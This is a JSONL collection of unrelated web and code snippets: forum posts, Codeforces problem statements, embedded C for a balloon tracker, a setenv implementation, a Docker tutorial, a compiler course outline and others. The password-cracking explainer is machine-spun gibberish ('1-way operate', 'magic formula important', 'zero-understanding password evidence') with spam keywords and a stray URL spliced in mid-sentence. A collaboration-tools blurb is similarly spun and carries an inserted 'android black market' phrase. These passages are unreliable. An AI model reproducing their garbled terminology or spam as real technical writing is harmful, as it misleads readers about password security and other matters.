{"text": "I'm Renovatio and i'm playing The Outer Worlds, of course. After so many hours with that, i've to say there are some pro and cons (when i'm inside NPC's homes, some of them should get inside to tell me i've to get out; it's to easy to steal. Obsidian should insist to show us some realism, and in general, they should see at some very old games that still are loved by rpg players, such as Gothic 1 and 2).\nAnyway, dialogues are very well written, and some sentences should be even listened, not only read. When i got to read \"you had my interest, now you have my attention\" (django, of course), i think it would be SO awesome to listen to an actor that says it the same way the movie actor does.\nCould be very very powerful, even for our identification in the main character. And also note everyone can talk in the game, except for our alter ego (and i think this does not work for empathy, in my opinion).\nThanks a lot for attention. Let me know what you think about it.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 233, "token_count_with_eod": 234, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Passwords to obtain Pc programs are often stored, in some form, inside a database in order for the process to perform password verification. To boost the privacy of passwords, the stored password verification data is generally produced by making use of a 1-way operate to the password, perhaps together with other readily available facts. For simplicity of this dialogue, in the event the one particular-way purpose isn't going to include a magic formula important, besides the password, we seek advice from the A technique perform utilized as a hash and its output for a hashed password. Regardless that functions that build hashed passwords could be cryptographically secure, possession of the hashed password offers a quick strategy to confirm guesses for that password by applying the perform to every guess, and evaluating The end result on the verification information. The most commonly utilized hash features might be computed swiftly and also the attacker can do that repeatedly with distinctive guesses until finally a legitimate match is located, this means the plaintext password has long been recovered.\nThe term password cracking is usually limited to recovery of a number of plaintext passwords from hashed ig 買 follower - SNSHelper passwords. Password cracking demands that an attacker can get use of a hashed password, both by looking at the password verification database or intercepting a hashed password sent about an open up community, or has Various other technique to fast and with out Restrict check if a guessed password is suitable. Without the hashed password, the attacker can nonetheless endeavor usage of the computer system in concern with guessed http://query.nytimes.com/search/sitesearch/?action=click&contentCollection®ion=TopBar&WT.nav=searchWidget&module=SearchSubmit&pgtype=Homepage#/ig 買 follower passwords. Having said that very well designed devices Restrict the number of unsuccessful entry makes an attempt and can inform directors to trace the supply of the assault if that quota is exceeded. Along with the hashed password, the attacker can operate undetected, and When the attacker has acquired quite a few hashed passwords, the chances for cracking at the very least one particular is fairly higher. You can also find a number of other ways of acquiring passwords illicitly, for instance social engineering, wiretapping, keystroke logging, login spoofing, dumpster diving, timing assault, etc.. Nevertheless, cracking commonly designates a guessing assault.\nCracking could possibly be combined with other procedures. For instance, usage of a hash-primarily based challenge-reaction authentication technique for password verification may perhaps give a hashed password to an eavesdropper, who can then crack the password. Quite a few stronger cryptographic protocols exist that don't expose hashed-passwords through verification above a network, either by preserving them in transmission using a large-grade critical, or by making use of a zero-understanding password evidence.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 557, "token_count_with_eod": 558, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Collaboration is actually a key element of business achievement, and there are lots of online tools that make it convenient. While some effort tools are easy to use, others are more complex. Some, just like Google Travel, let you work together in real time. That is great for groups that may be divide across timezones and are unable to meet frequently.\nSome tools are intended for specific duties, such as job management, so that the whole crew can be on the same page. Different collaborative tools consist of Trello, that allows team members to regulate multiple workspaces, set deadlines, and share data. Whether you’re here working on a project using your colleagues or at home, this kind of collaborative program is perfect for your team.\nAn alternative tool that promotes collaboration is ZipBoard. This on-line whiteboard enables members of your team to examine documents and fix problems at the same time. It works by representing each group member’s comments and responses on the document. Also you can share files and ideas with your crew. To try it out, you can sign up for a totally free trial.\nCooperation tools help to make communication less of a challenge. This means that associates feel self-assured android black market of their responsibilities, and can keep up with requests more easily. Using cooperation tools will assist employees control their work load more efficiently, leaving them with more time for creation.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/*\n* Telemetry strings and formatting\n* \n* for Pico Balloon Tracker using HC12 radio module and GPS\n* HC12 Module with STM8S003F3 processor and silabs Si4463 Radio\n*  \n* Derived Work Copyright (c) 2018 Imperial College Space Society\n* From original work Copyright (C) 2014  Richard Meadows <richardeoin>\n*\n*\n* Permission is hereby granted, free of charge, to any person obtaining\n* a copy of this software and associated documentation files (the\n* \"Software\"), to deal in the Software without restriction, including\n* without limitation the rights to use, copy, modify, merge, publish,\n* distribute, sublicense, and/or sell copies of the Software, and to\n* permit persons to whom the Software is furnished to do so, subject to\n* the following conditions:\n*\n* The above copyright notice and this permission notice shall be\n* included in all copies or substantial portions of the Software.\n*\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\n* LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\n* OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\n* WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n*/\n\n\n#include <iostm8s003f3.h>\n#include <stdint.h>\n#include <intrinsics.h>\n#include \"HC12Board.h\"\n#include \"telemetry.h\"\n#include \"si_trx.h\"\n#include \"si_trx_defs.h\"\n\n\n\n#define TIMER1_PRESCALE  (HSCLK_FREQUENCY/1000)\n#define MOD_BIT_MS       20\n#define TRANSMIT_CYCLES  1000\n/**\n * Interface to the physical world.\n */\n#define MOD_CHANNEL_SPACING\t XO_745_DEVIATION // 745Hz Deviation\n#define MOD_CHANNEL_DEVIATION\t(MOD_CHANNEL_SPACING / 2)\n#define MOD_CHANNEL(b)\t\t(b ? MOD_CHANNEL_DEVIATION : -MOD_CHANNEL_DEVIATION)\n#define MOD_SET(b)\t\tsi_trx_switch_channel(MOD_CHANNEL(b))\n\n\n\n\n\n\n/**\n* TELEMETRY OUTPUT\n* =============================================================================\n*/\n\n\nuint8_t mark_space;\nuint8_t  telemetry_on;\nuint16_t transmit_cycles;\n\nuint8_t telemetry_active(void){\n    return telemetry_on;\n}\n\n/**\n* Starts telemetry output\n*\n* Returns 0 on success, 1 if already active\n*/\nvoid telemetry_start(void) {\n\t/* Setup timer tick */\n        timer1_tick_init(MOD_BIT_MS);\n        telemetry_on = 1;\n        transmit_cycles = 0;\n        mark_space = 0;\n\tsi_trx_on(SI_MODEM_MOD_TYPE_CW, 1);\t\n        \n}\n\n\n\n\n\n/**\n* Called at the telemetry mode's baud rate\n*/\nvoid telemetry_tick(void) {\n  if(transmit_cycles++ < TRANSMIT_CYCLES){\n    mark_space++;\n    if(mark_space == 2) mark_space =0;\n    MOD_SET(mark_space);\n  }\n  else {\n    /* Turn radio off */\n    si_trx_off();\n    /* De-init timer */\n    timer1_tick_deinit();\n    telemetry_on = 0;\n  }\n    \n}\n\n\n\n\n/**\n* CLOCKING\n* =============================================================================\n*/\n\n/**\n* Initialises a timer interupt at the time period in ms\n*\n*/\nvoid timer1_tick_init(uint16_t millisecs)\n{\n\t\n\t__disable_interrupt();\n\t/* Configure Timer 1 */\n\t\n\tTIM1_PSCRH = TIMER1_PRESCALE >> 8 ;       //  Prescaler \n\tTIM1_PSCRL = TIMER1_PRESCALE & 0xff ;       //  \n\t\n\tTIM1_ARRH =millisecs >> 8 ;       //  Count Register\n\tTIM1_ARRL =millisecs & 0xff ;       //  \n\t\n\t\n\t/* Enable Interrupt */\n\tTIM1_IER_UIE = 1;       //  Enable the update interrupts.\n\t\n\t/* Enable Timer */\n\tTIM1_CR1_CEN = 1;       //  Enable the timer.\n\t__enable_interrupt();\n}\n\n\n\n/**\n* Changes the timer1 time\n*/\nvoid timer1_tick_time(uint16_t millisecs)\n{\n\t\t\n\tTIM1_ARRH =millisecs >> 8 ;       //  Count Register\n\tTIM1_ARRL =millisecs & 0xff ;       //  \n\t\n}\n\n\n/* Disables the timer\n*/\nvoid timer1_tick_deinit()\n{\n\t__disable_interrupt();\n\tTIM1_CR1_CEN = 0;       //  Disable the timer.\n\tTIM1_IER_UIE = 0;       //  Disable the update interrupts.\n\t__enable_interrupt();\n}\n/**\n* Timer 1 Interrupt called at the symbol rate\n*/\n#pragma vector = TIM1_OVR_UIF_vector\n__interrupt void TIM1_UPD_OVF_IRQHandler(void)\n{\n\ttelemetry_tick();\n\tTIM1_SR1_UIF = 0;               //  Reset the interrupt otherwise it will fire again   \n\t\n}", "source": "cpt_stack_code", "language": "code", "token_count": 1188, "token_count_with_eod": 1189, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "You are given a string $$$s$$$ consisting only of characters + and -. You perform some process with this string. This process can be described by the following pseudocode:\n\nNote that the $$$inf$$$ denotes infinity, and the characters of the string are numbered from $$$1$$$ to $$$|s|$$$.\n\nYou have to calculate the value of the $$$res$$$ after the process ends.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Use ethos, pathos, and logos. You are to explain how the disadvantages occur when living in dorms on campus. The specific directions are uploaded (1020 P4), you are to use my annotated bibliography (4 Rodriguez), and I also uploaded my essay for it and mentioned a few downs to it. Your job is to convince the audience(parents and students) if it is bad to live on campus and why. Show statistics and any evidence that is on your websites you choose to write about.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 104, "token_count_with_eod": 105, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Dear Miss Manners:\nWhat is the correct way to type Rsvp on an invite: R.S.V.P. or Rsvp or RSVP?\nR.s.v.p. is Miss Manners' first choice because it stands for a sentence, the French polite command, \"Repondez s'il vous plait,\" R.S.V.P. will also do.\nBut it is amazing how often this is disobeyed. Social scofflaws are more common and more brazen than ever. Gentle Readers report that confronting them no longer produces shame, but rather such insultingly dismissive replies as \"I haven't decided yet\" or \"Well, I'll think about it.\" (The response to that should be, \"Well, it must be a busy time for you, so I'm afraid we'll have to do without you\" - followed by permanent exile from your guest list.)\nThe widespread rudeness of treating an invitation as if it were an unwanted sales pitch is not why Miss Manners is about to propose an alternative to using R.s.v.p. The rude will be rude anyway, and she does not reward them by abolishing the rules they flout. That would be like dealing with a crime wave by deciding that there is no use having a law against robbery if people are going to commit it anyway.\nRather, she keeps hearing from those who are not clear about what it means.\nThey know it has something to do with replying to the invitations that carry this notation, and indeed, \"R.s.v.p.\" is now used in English as a noun (\"We sent in the R.S.V.P.\"), an adjective (\"We ordered RSVP cards\") and a verb (\"We RSVP'ed\").\nBut what, exactly?\nSome Gentle Readers are guessing that it means answering only if you are accepting the invitation, and others that it means the same as that awkward phrase \"Regrets only\" (which casts the host as assuming that those who decline feel regret, when they may not). A few believe that it requires an answer only if the invitation is to a formal event. And an alarming number believe that it means that you may bring along as many other people as you like.\nBut why not use \"Please respond\"? Is there anyone who doesn't understand that?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 462, "token_count_with_eod": 463, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Hey, > Happy new year every body :) Happy New Year too! > I've experienced lots of issues with Kmail since 17.08. That is very unfortunate. For me the update to 17.08 was very fluently without any bugs. But it is likely that the issue is gmail (I don't use gmail for policial reasons). So my mailsetup is not suitable to say something about gmail. As I know for reading the upstream irc, there were quite a bunch of people mentioning that they had issues with gmail and kmail: https://mail.kde.org/pipermail/kdepim-users/2017-December/001068.html So it is for sure a upstream problem. So please try to use search for solutions also within upstream bugtracker, too: https://bugs.kde.org. Also I know that the mantainer of kgapi was telling me, that google had switched or will switch there allowed way to use oauth, that's why they had to change the way kgapi is working. > This might be related to <https://bugs.debian.org/cgi-bin/bugreport.cgi? > bug=885182> sounds like. If you find any upstream bugreport, that matches please add the Forwared header in the bug. > It might be related too with the new support for Oauth: there were no oauth > support before. Yes this is the base problem... > > 1- Difficulties to retrieve mails from Gmail > Gmail accounts mails are usually no longer retrieved. (that is, mails sent > to gmail accounts of mine). > Akonadictl restart seems sufficient to fix that. > I haven't observed relevant error messages. > Beside maybe this one: > org.kde.pim.imapresource: Session login cancelled > (There are plenty of error messages, but they remain, even when mails start > flowing again) > When oauth wasn't implemented, I had no issues with gmail, ever. this is for sure the issue with the announced changes of allowed ways to connect. Hopefully this issue is handled with 17.12. I'll can start packaging it when 17.08 had migrated to testing (hopefully the next days) and some more cleanup is done for the 17.08 packages. > 2- cpu usage surges > I often, but not quite as often as above, have cpu usage surges like so: > > mysqld 45%; akonadiserver 30%; akonadi_maildir 15%; kmail 10% > > The surge doesn't drop down by itself. > akonadictl restart is sometimes enough to fix it. > Sometimes a system reboot is all I've found to help. This is maybe the issue some users hit (you were offline each time i tried to resend it to you via IRC): <hefee> inkbottle: i had another user having the issue with 100% cpu akonadi, too <hefee> https://bugs.kde.org/show_bug.cgi?id=384359 <hefee> and they solved it later, by changing their default search to something usefull ^^so if you search for something, that search is saved in the \"Search folder\" - it seams like this search can be recursive and never end, if it is not a usefull search aka never used. You reach the search by \"Tools->Find Messages\" > 3- \"critical security alert\" from Google > I've got a bad security alert from Google from using Kmail, which never > happened before. As I wrote before - it is a upstream issue, so the best would be to try to reach upstream directly and discuss this with them. But before search in bugs.kde.org if it is already reported and solved withing 17.12. At least one core dev of KDEPIM is using gmail, and they care about gmail and write kgapi... hefee\nDescription: This is a digitally signed message part.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 845, "token_count_with_eod": 846, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "sudo docker run debian echo \"Hello World\"\nIn this example, I pull a Debian image from DockerHub, and create an image run\necho \"Hello World\". We can use\nsudo docker ps -a\nto see the container that we created. You can use this command\nsudo docker image ls\nto see the image that just pulled from DockerHub.\nSave container as an image\nImage can be thought a snapshot of the container, we can do something in the container and save the change to create a new image. Let’s start a container, and enter it to do something.\nsudo docker run -it debian /bin/bash\nIn this container, we install\napt update && apt intall -y vim\nAnd now, we use this container to create our image.\nsudo docker commit 9839953c101c test/debianwithvim\nA Dockerfile is simply a text file that contains a set of steps that can be used to create a Docker image. Use\ndebianwithvim, we can create a Dockerfile.\nFROM debian:latest RUN apt update && apt install -y vim\nsudo docker build -t test/debianwithvim .\nPush your image to DockerHub.\nsudo docker push test/debianwithvim\nrelationship between image and container\nA Docker image is an immutable (unchangeable) file that contains the source code, libraries, dependencies, tools, and other files needed for an application to run.\nA Docker container is a virtualized run-time environment where users can isolate applications from the underlying system. These containers are compact, portable units in which you can start up an application quickly and easily.\nIt’s equivalent to saying\ncontainer is the instantiation of", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 357, "token_count_with_eod": 358, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "//\n//  CXFaceGeometry.h\n//  Pods\n//\n//  Created by Yu Ao on 07/02/2018.\n//\n\n#import <Foundation/Foundation.h>\n@import MetalPetal;\n@import MomoCV;\n\n@interface CXFaceGeometry : NSObject\n\n@property (nonatomic, class, readonly) NSArray<NSValue *> *meanFaceTextureCoordinates;\n@property (nonatomic, class, readonly) NSArray<NSValue *> *makeupFaceTextureCoordinates;\n\n+ (id<MTIGeometry>)geometryWithLandmarks:(NSArray <NSValue *> *)landmarks textureCoordinates:(NSArray<NSValue *> *)textureCoordinates renderSize:(CGSize)renderSize;\n\n+ (id<MTIGeometry>)faceGeometryWithMaskLandmarks:(NSArray <NSValue *> *)landmarks maskTextureCoordinates:(NSArray<NSValue *> *)maskTextureCoordinates renderSize:(CGSize)renderSize;\n\n+ (MTLRegion)regionForInterestTriangles:(NSArray<NSNumber *> *)indicesOfTrangles withLandmarks:(NSArray <NSValue *> *)landmarks;\n\n+ (id<MTIGeometry>)faceGeometryForInterestTriangles:(NSArray<NSNumber *> *)indicesOfTrangles\n                                      withLandmarks:(NSArray <NSValue *> *)landmarks\n                                         renderSize:(CGSize)renderSize\n                  textureCoordinateNormalizedRegion:(CGRect)textureRegion\n                             maskTextureCoordinates:(NSArray<NSValue *> *)maskTextureCoordinates\n              maskTextureCoordinateNormalizedRegion:(CGRect)maskRegion;\n\n+ (NSArray<NSValue *> *)sampleTextureCoordinatesBetweenVertexIndices:(NSArray<NSNumber *> *)indices withLandmarks:(NSArray <NSValue *> *)landmarks renderSize:(CGSize)renderSize;\n\n+ (CGPoint)point:(CGPoint)point clipingByRegion:(CGRect)region;\n\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 377, "token_count_with_eod": 378, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "/* Copyright (C) 1994, 1996 by Sven Berkvens (sven@stack.nl) */\n/* Copyright (C) 1998-2008 by Johan van Selst (johans@stack.nl) */\n\n#include\t\"config.h\"\n\n#include\t<stddef.h>\n#include\t<stdlib.h>\n#include\t<stdio.h>\n#include\t<unistd.h>\n#include\t<string.h>\n\nstatic\tchar\t*findenv\t\t (const char *, int *);\nstatic\tchar\t**menviron = NULL;\n\nchar\t*\ngetenv(const char *name)\n{\n\tint\t\toffset;\n\n\treturn (findenv(name, &offset));\n}\n\nstatic\tchar\t*\nfindenv(const char *name, int *offset)\n{\n\tint\t\tlen;\n\tconst\tchar\t*np;\n\tchar\t\t**p, *c;\n\n\tif (!name || !environ)\n\t\treturn(NULL);\n\tfor (np = name; *np && (*np != '='); ++np)\n\t\tcontinue;\n\tlen = np - name;\n\tfor (p = environ; ((c = *p)); ++p)\n\t{\n\t\tif (!strncmp(c, name, len) && (c[len] == '='))\n\t\t{\n\t\t\t*offset = p - environ;\n\t\t\treturn(c + len + 1);\n\t\t}\n\t}\n\treturn (NULL);\n}\n\nint\nsetenv(const char *name, const char *value, int rewrite)\n{\n\tchar\t\t*c;\n\tconst char\t*cc;\n\tint\t\toffset;\n\tsize_t\t\tl_value;\n\n\tif (menviron && menviron != environ)\n\t{\n\t\tfree(menviron);\n\t\tmenviron = NULL;\n\t}\n\tif (*value == '=')\n\t\tvalue++;\n\tl_value = strlen(value);\n\tif ((c = findenv(name, &offset)))\n\t{\n\t\tif (!rewrite)\n\t\t\treturn(0);\n\t\tif (strlen(c) >= l_value)\n\t\t{\n\t\t\twhile ((*(c++) = *(value++)))\n\t\t\t\t/* NOTHING HERE */;\n\t\t\treturn(0);\n\t\t}\n\t\tfree(menviron[offset]);\n\t}\n\telse\n\t{\n\t\tint\t\tcnt;\n\t\tchar\t\t**p;\n\n\t\tcnt = 0;\n\t\tif (menviron)\n\t\t\tfor (p = menviron; *p; p++)\n\t\t\t\tcnt++;\n\t\tmenviron = (char **)realloc(menviron,\n\t\t    (size_t)(sizeof(char *) * (cnt + 2)));\n\t\tif (!menviron)\n\t\t\treturn(-1);\n\t\tmenviron[cnt + 1] = NULL;\n\t\toffset = cnt;\n\t}\n\tfor (cc = name; *cc && (*cc != '='); cc++)\n\t\t/* NOTHING HERE */;\n\tif (!(menviron[offset] =\n\t\t(char *)malloc((size_t)((int)(cc - name) + l_value + 2))))\n\t\treturn(-1);\n\tfor (c = menviron[offset]; ((*c = *(name++))) && (*c != '='); c++)\n\t\t/* NOTHING HERE */;\n\tfor (*(c++) = '='; (*(c++) = *(value++)); )\n\t\t/* NOTHING HERE */;\n\tenviron = menviron;\n\treturn (0);\n}\n\nint\nunsetenv(const char *name)\n{\n\tchar\t\t**p;\n\tint\t\toffset;\n\n\twhile (findenv(name, &offset))\n\t{\n\t\tfor (p = environ + offset; (*p = p[1]) ; p++)\n\t\t\t/* NOTHING HERE */;\n\t}\n\treturn (0);\n}", "source": "cpt_stack_code", "language": "code", "token_count": 807, "token_count_with_eod": 808, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Captain Flint and his crew keep heading to a savage shore of Byteland for several months already, drinking rum and telling stories. In such moments uncle Bogdan often remembers his nephew Denis. Today, he has told a story about how Denis helped him to come up with an interesting problem and asked the crew to solve it.\n\nIn the beginning, uncle Bogdan wrote on a board a positive integer $$$x$$$ consisting of $$$n$$$ digits. After that, he wiped out $$$x$$$ and wrote integer $$$k$$$ instead, which was the concatenation of binary representations of digits $$$x$$$ consists of (without leading zeroes). For example, let $$$x = 729$$$, then $$$k = 111101001$$$ (since $$$7 = 111$$$, $$$2 = 10$$$, $$$9 = 1001$$$).\n\nAfter some time, uncle Bogdan understood that he doesn't know what to do with $$$k$$$ and asked Denis to help. Denis decided to wipe last $$$n$$$ digits of $$$k$$$ and named the new number as $$$r$$$.\n\nAs a result, Denis proposed to find such integer $$$x$$$ of length $$$n$$$ that $$$r$$$ (as number) is maximum possible. If there are multiple valid $$$x$$$ then Denis is interested in the minimum one.\n\nAll crew members, including captain Flint himself, easily solved the task. All, except cabin boy Kostya, who was too drunk to think straight. But what about you?\n\nNote: in this task, we compare integers ($$$x$$$ or $$$k$$$) as numbers (despite what representations they are written in), so $$$729 < 1999$$$ or $$$111 < 1000$$$.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Follow us on Facebook\nSite is best viewed with google chrome when on mobile devices\nPlease take a moment to fill out our VERY short, completly anonymous survey to help us better meet your needs. Click the link below to be directed to the survey. Feel free to check the \"other\" box for each question to add your own comments. Thanks!", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "COMP 4403 Compiler Java Source Code Assignment\nThe main changes from the assignment 1 compiler are in the package parse which makes use of the parser and lexical analyser generators.\nThe Java files that make up the compiler are listed below, along with a brief description of their purpose. The source code for the compiler is divided into the following packages:\npl0 contains the Java files for the main program for the compiler parse contains the Java files to handle scanning and parsing as well as defining the lexical tokens (major changes from assignment 1 approach) tree contains the abstract syntax tree, the static semantic checker and the code generator syms contains the symbol table, its entries, and type descriptors machine contains the Java files for the stack machine interpreter, instruction set operation codes, and instructions. source contains the Java files for processing the source input and handling error messages\nYou shouldn’t need to look in here too much. The main program defines some command line arguments that may be useful.\nPL0_LALR.java (class) The main program for the compiler (“LALR” stands for the LALR parser generator Java-CUP).\nYou may want to look inside the stack machine at some stage to work out exactly what an instruction does.Instruction.java (class) Defines the different formats of instruction.\nOperation.java (enumeration) Define the operation codes for the stack machine. StackMachine.java (class) Implements an interpreter for the Stack Machine.\nYou’ll need to understand how the Parser works and what the lexical Tokens are, but you shouldn’t need to look at the Scanner. The whole approach to parsing is completely different to assignment 1.\nPL0.cup (Java-CUP specification for PL0 parser) The parser recognises the input program and creates and abstract syntax tree. PL0.flex (JFlex specification for PL0 lexical analyser) The lexical analyser recognises the input character stream and splits it up into a stream of lexical tokens. CUPScanner.java (class) A tiny bit of plumbing between the lexical analyser (Lexer) and the parser generated by CUP. CUPParser.java (class) The parser (written in Java) generated from PL0.cup. You should not edit this directly; edit PL0.cup and re-generate this. If you get Java errors in this file, they usually correspond to something invalid in one of the semantic actions within your PL0.cup specification; try to determine what is wrong in the Java but then fix the corresponding action in PL0.cup. CUPToken.java (interface) A Java interface defining all the lexical tokens. This file is generated by Java-CUP from the terminal symbol specifications within PL0.cup. If it is incorrect do not modify this file, but modify PL0.cup and re-generate this file using Java-CUP. Lexer.java (class) The lexical analyser or scanner (written in Java) generated from PL0.flex. COMP 4403 Compiler Java Source Code Assignment\nYou’ll need to know the structure of the Abstract Syntax Tree and the definitions of the Operators. Then you’ll need to understand how the StaticChecker and CodeGenerator work. These both implement the Visitor interfaces to traverse the abstract syntax tree.\nCode.java (class) Data structure for a sequence of instructions used in the code generation. CodeGenerator.java (class, implements TreeTransform, ExpTransform, and StatementTransform) Implements the code generation for the compiler via a tree traversal. You’ll need to modify this to generate code for the extra statements. ConstExp.java (class) Symbolic constant expressions are evaluated at compile time. This class provides tree nodes to represent constants and evaluate them. DeclNode.java (class) This class provides the abstract syntax tree nodes representing declarations lists and procedure declarations. DeclVisitor.java (interface) Visitor interface for declarations and procedures (including main program). ExpNode.java (class) Defines the nodes in the abstract syntax tree for expressions as well as methods for allowing tree traversals using the visitor pattern. ExpTransform.java (interface) Visitor interface for expressions returning a transformed expression. Operator.java (enumeration) Enumeration for the binary and unary operators for the abstract syntax tree. Procedures.java (class) Provides data structure to keep track of the start and finish addresses of procedures. Also used to provide a run-time stack trace (on a run-time error).\nStatementNode.java (class) Defines the nodes in the abstract syntax tree for statements as well as methods for allowing tree traversals using the visitor pattern. You’ll need to modify this to generate the appropriate abstract syntax tree structure. StatementTransform.java (interface) Visitor interface for statement transformation (used in code generation). StatementVisitor.java (interface) Visitor interface for statements (used by static checker). StaticChecker.java (class, implements TreeVisitor, ExpTransform, and StatementVisitor) Implements the static (type) checking for the compiler via a tree traversal. You’ll need to modify this to static check the new constructs.\nThis package defines the symbol table and its entries as well as type descriptors.\nPredefined.java (class) Handles all the predefined constants, types and operators. Scope.java (class) Provides a single scope within the symbol table. SymEntry.java (class) Defines the symbol table entries for CONST, TYPE, VAR and PROCEDURE identifiers, and operators. SymbolTable.java (class) The main symbol table that puts together symbol tables for each Scope (procedure, main program or predefined scope) that contain entries (SymEntry) for each identifier. Handles constant, variable, type, procedure identifiers, as well as the type structures. SymbolTableTest.java (JUnit test class) JUnit test for the symbol table. Type.java (class) Defines the symbol table structures that represent types, including basic types like int and boolean, as well as subrange types. TypeTest.java (JUnit test class) JUnit test for types.\nThis is low level boring stuff. You shouldn’t have to look in here unless you just want to find out what it does.CompileError.java (class) Stores a single error message.\nErrorHandler.java (class, implements Errors) Handles the saving and reporting of error messages. Errors.java (interface) Errors interface defines error methods. LineLocations.java (class) Used for finding the source line in the input file when reporting errors. Severity.java (enumeration) Enumeration containing the error message severities. Source.java (class) Handles reading the source input, keeping track of the location within the source input and output of error messages and a listing of the input. COMP 4403 Compiler Java Source Code Assignment", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1343, "token_count_with_eod": 1344, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "v4.1 [5 Dec 2016]\nv3.5 [10 Feb 2012]\n- Tool Properties are now displayed in the new Properties Bar beneath the toolbar in document windows.\nFind dead pixels on LCD screens.\nEasily change your Dock color and aspect, your Menubar color and corners and helps you customizing your stack icons on Mac OS 10.5.\nCross-platform pixel editor for creating game animations.\nA vector graphics design software with animation capabilities.\nUsed to automatically populate folder icons with the artwork contained in a folders audio files.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I have an old Tiger Skin, shot and skinned in 1961. The skin is in good shape, but becoming brittle. Could the experts help me with some treatment which could add a few years to the trophy. Taxidermy as an art form is now over in India, so no local help is available.\nLast edited by a moderator:", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 74, "token_count_with_eod": 75, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Hello guys !! :)\ni need your help in the integration which is used to calculate the total charge in the electric field\nin a continuous volume charge distribution\nin this example i can't understand how the integration was done ..so please help me with this :)\nThe example ...\nhello guys ...\ni want to design this circuit on proteus and print it to put it on a board\nthis is a regulated power supply circuit\nthe problem is that iam a beginner in proteus ...so can anyone help me how to start ?\nThe Circuit :\nplease help me guys with this ..Thanks :)\nHello Guys !!\nMy question is : why in these photos the ohmmeter reads the total resistance ??\nI mean why in (a) the ohmmeter can't read the 8 ohms resistance ?\nWhy in (b) the ohmmeter can't read the (2||10 ) resistance ?\nThank you Guys !! :))", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Top network posts\n- 21 How do I plot a histogram with hatched shading?\n- 19 Curtains and groups\n- 17 Construct point on a circle such that the reflection in that point is horiztonal\n- 17 Implicitly defined compact complicated surface\n- 11 How to set a website with live information as desktop wallpaper\n- 10 A generalisation of Napoleon's theorem. Is this result original?\n- 10 Why is the Fourier transform self-inverse?\n- View more network posts →", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 114, "token_count_with_eod": 115, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Create your own GitHub profile\nSign up for your own profile on GitHub, the best place to host code, manage projects, and build software alongside 31 million developers.Sign up\n- Roseville, CA\nSee how many hooks and filters the currently active theme has and what file it is located in.\nModified WordPress-i18n tools for translating and creating .pot file\nDisplay a link list to your custom post type in a widgetized area. Choose how many and how to order them", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The Game of Life is the most famous cellular automaton ever devised. The rules are dead simple, and the expressive power of the game is enormous. People have used it as a metaphor for a whole host of other phenomena, from evolution to the fundamental laws of the universe. However, I have long had the sense that Life has a hidden weakness that makes its results far more of a special case than people tend to imagine. That weakness is its neighborhood.\nWhat I mean by the neighborhood is the fact that each cell in the game updates according to the cells that sit around it, both adjacent and diagonal. The combination of a small neighbor set coupled with more than one kind of physical relationship packs a ton of expressive power into a simple system. However, this comes at the cost of making the Game of Life massively anisotropic. Change the relationship between cells just a tiny bit, I guessed, and the cool patterns would disappear. If this idea was right, it suggested that the Game of Life, and other automata like it, have a lot less to do with natural organisms, or the universe, than first appears.\nTo test my theory, I decided to see what would happen to the Game of Life if you played it with a different neighborhood–one with the same number of neighbors, but treating all neighbors exactly the same way. To do this, I replaced the standard set of neighbor relations with the set of knight-moves.\nWhat was the result? You can see for yourself below.\nAs expected, the clever compact patterns from Conway’s original game disappear. However, ironically, what you gain is something that looks a lot more like what you might find under a microscope.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 341, "token_count_with_eod": 342, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
